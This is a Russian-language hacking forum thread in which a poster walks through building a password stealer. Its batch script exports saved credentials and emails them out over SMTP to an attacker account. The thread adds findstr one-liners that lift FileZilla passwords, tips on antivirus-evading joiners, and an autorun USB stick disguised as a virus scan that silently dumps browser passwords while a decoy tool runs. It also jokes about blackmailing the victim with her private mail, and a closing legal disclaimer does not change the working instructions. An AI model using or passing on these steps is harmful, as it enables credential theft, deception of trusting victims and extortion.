ВАЖНО Делаем простенький стилер сами

[X-Shar]

Давайте творчески подойдём к процессу и попробуем сделать из легальной программы, например Multi Password Recovery (MPR) программу для кражи всех паролей с компа (Стилер).

Вы сейчас скажите, ой-ай, чо херню несёшь, а херню-ли, рассказываю как сделать:

1) Первое что нам нужно это сам MPR. качаем по ссылке

Вы должны зарегистрироваться, чтобы увидеть внешние ссылки

установим MPR в отдельную папку. установили?

2)Удаляем установку- должно остаться 6 файлов, качаем blat:

Вы должны зарегистрироваться, чтобы увидеть внешние ссылки

Blat это маленькая open source консольная програмулька под Windows, которая позволяет отправлять e-Mail по SMTP протоколу из командной строки.

3)Архив распаковываем в ту же папку с MPR:

Создаем файл 1.bat открываем с помощью Блокнота и вводим содержимое:

Скопировать в буфер обмена

@echo off
:start
ping ya.ru -n 5 >nul
if %errorlevel%==0 (goto send) else (goto end)
:end
goto :start
:send
blat.exe -install -server smtp.yandex.ru -port 587 -f твой логин@yandex.ru -u логин -pw пароль
mpr.exe /export
ren *.mpf pass.mpf
blat.exe -bоdу PassReg -to кому отправлять@yandex.ru -attach pass.mpf
del %Temp%\*.* /Q /S /F

Изменяем данные на свои.

4)Сохраняем качаем программу

Вы должны зарегистрироваться, чтобы увидеть внешние ссылки

Это преобразование батника в exe с упаковкой нужных файлов, короче на подобие Джойнера, к сожалению она палится практически всеми АВ, ищем непалевный Джойнер на хак. сайтах !

Открываем её . в batch file вводим файл 1.bat .

В дереве visibility Ставим галку на второй чексбокс.

5)Заходим на вкладку include нажимаем на кнопку add и выбераем файлы

Скопировать в буфер обмена

HookLib.dll
blat.lib
blat.exe
blat.dll
MPR.exe

И нажимаем Compile. Открываем файл и смотрим почту.

 

[Антоха]

Первое что нам нужно это сам MPR. качаем по ссылке

Один только MPR палится на вирустотале 21 антивирусником)

 

[X-Shar]

Один только MPR палится на вирустотале 21 антивирусником)

Может ещё что есть ?

Важно, чтобы программа поддерживала команды через батник:

Скопировать в буфер обмена

mpr.exe /export
ren *.mpf pass.mpf
blat.exe -bоdу PassReg -to кому отправлять@yandex.ru -attach pass.mpf

mpr.exe /export - делает экспорт паролей;
ren *.mpf pass.mpf - переименовывает в pass.mpf

blat.exe -bоdу PassReg -to кому отправлять@yandex.ru -attach pass.mpf - Строчка отправляет нам пароли pass.mpf !

 

[X-Shar]

Кстати такой функционал не проблема реализовать обычным батником без всякого MPR, вот например гугл-хром, хранит пароли в C:\Users\SomeUser\AppData\Local\Google\Chrome\User Data\Default\Login Data

Тырити файл Login Data батником и всё, файлзилла хранит здесь:C:\Users\Ваше имя\AppData\Roaming\FileZilla\recentservers.xml

Всё разумеется не зашифрованно, короче, не храните пароли в браузерах и файлзилла !

 

[X-Shar]

Для теста своей защиты, в блокноте введите следующий код, и сохраните с расширением bat:

Скопировать в буфер обмена

findstr /L “Pass User Host” %SYSTEMDRIVE%\Users\%UserName%\AppData\Roaming\FileZilla\recentservers.xml
cmd.exe

Данный код вытаскивает пароли из файлзилла, если есть нормальная защита, то должны получить запрет на доступ к папке Users, вот так:

 

[X-Shar]

Блин очередное головотяпство, во первых в файлзилла пароли могут-быть и здесь:sitemanager.xml

А во вторых не важная какая у вас защита пробить можно вводя без кавычик:“Pass User Host”.

Пример, вводим такой код:

Скопировать в буфер обмена

	findstr /L Pass %SYSTEMDRIVE%\Users\%UserName%\AppData\Roaming\FileZilla\recentservers.xml
	cmd.exe

Получаем пароль, никто даже не пискнул, ну OA конечно среагировал, задал алерт, ну и пох.:

Далее сохранаем эти пароли в txt и пересылаем на почту, в целом если у жертвы нет проактивки, или ламер может и сработать, существует ещё вероятность, что жертва случайно нажмёт на "Рсзрешить" !

 

[Антоха]

Комодовская проактивка лишь подробно описала,какие действия хочет выполнить батник,но если не всматриваться в его алерты,то прокатит.Правда паролей у меня нет.

 

[X-Shar]

Комодовская проактивка лишь подробно описала,какие действия хочет выполнить батник,но если не всматриваться в его алерты,то прокатит.Правда паролей у меня нет.

А вот теперь бонус, как стырить все пароли на флешку:

Идея вот в чём, приходите к красивой блондинке якобы проверить комп на вирусы, далее вставляет флешку с кашмарский антивирус, на флешке разумеется будет подготовленный софт, какой смотри ниже, короче когда флешка будет подключена, запуститься стиллер вместе со сканером кашмарского (Он запуститься для отвода глаз) и всё, все пароли у нас, потом заходим на почту блондинки и читаем её любовную переписку, а потом можно её шантажировать, если она откажется вас ещё пригласить...

Это типа способ знакомства такой, именно поэтому меня никто и не приглашает чинить комп, особенно блондинки, видно боятся, репутация понимаете...

Итак забыл самое главное сказать, как-же это всё сделать, а очень просто:

1. Создаем на флэшке две папки:
флэшка:\prog\
флэшка:\prog\log\

2. В папку флэшка:\prog\ заливаем все экзешники – утилиты, hstart.exe, KK.exe

3. В корне флешки создаем autorun.inf со следующим содержанием:

Скопировать в буфер обмена

[autorun]
open=prog/hstart /NOCONSOLE "launch.bat"
ACTION= Проверить комп на вирусы

Здесь action – кнопка, которая будет отображаться в окне выбора действий при подключении флэшки, а open – команда, которую нужно выполнить при выборе этого действия. Эта команда включает в себя запуск бат-ника в скрытом режиме с помощью утилиты Hidden Start.

4. Создаем батник launch.bat:

Скопировать в буфер обмена

echo off
echo %computername%\%username% Ъte% %time% >> prog/log/_log.txt
start prog/ChromePass.exe /stext prog/log/%computername%_chrom.txt
start prog/OperaPassView.exe /stext prog/log/%computername%_Opera.txt
If Not Exist "%programfiles%\Mozilla Firefox\" GoTo End
start prog/PasswordFox.exe /stext prog/log/%computername%_passwordfox.txt
:End
start prog/KK.exe

Рассмотрим команды батника поподробнее:

echo off – запрет на вывод в окно CMD результатов выполнения

echo %computername%\%username% Ъte% %time% >> prog/log/_log.txt – в файл prog/log/_log.txt записать имя компьютера, имя пользователя, дату и время

start prog/ChromePass.exe /stext prog/log/%computername%_chrom.txt – запустить утилиту ChromePass.exe которая по выполнению должна сохранить пароли в файл prog/log/имя_компьютера_chrom.txt

Аналогично и для остальных утилит. Единственное замечание – перед запуском PasswordFox.exe проверим, что FF вообще установлен на компьютере жертвы. Просто если ФФ не установлен, то утилита PasswordFox.exe выдает сообщение с ошибкой.

start prog/KK.exe – маскируем свои действия запуском настоящей утилиты для удаления червя Net-Worm.Win32.Kido от Лаборатории Касперского

Все – флэшка готова. Теперь злоумышленнику достаточно просто подключить флэшку к компьютеру жертвы и в появившемся рорир-окне выбрать "Проверить комп на вирусы", чтобы вытащить все сохраненные пароли на этом компьютере. Обоснование необходимости запуска "проверки на вирусы" достаточно просто, особенно если жертва вам доверяет.

Весь софт во вложении, пароль:111

И ещё:

Кража чужих паролей влечет за собой уголовную ответственность по ч. 1 ст. 272 УК РФ «Неправомерный доступ к компьютерной информации», и грозит реальным тюремным сроком!

Данная статья написана исключительно в ознакомительных целях.
Ее назначение - защита ваших данных от злоумышленника.
Кто осведомлен, тот вооружен!

 

[Антоха]

Это типа способ знакомства такой, именно поэтому меня никто и не приглашает чинить комп, особенно блондинки, видно боятся, репутация понимаете..

Удобно.Хотя мне чаще к/т приносят домой и у меня есть время посмотреть всё что хочешь (но это совершенно не интересно,так как нет азарта).Сделаю такую флешечку ради эксперимента.Вот на HPC продают

Вы должны зарегистрироваться, чтобы увидеть внешние ссылки

,но с большим функционалом (правда есть и бесплатная версия).

 

[Smouk]

А вот теперь бонус, как стырить все пароли на флешку:

Этот способ актуален сейчас?) Я щас попробовал на своей системе запустить,ничего не стырил) От хрома только ссылку взял,для мозилы лог файл вобще не создает.
PasswordFox.exe - ничего не показывает. Пусто там(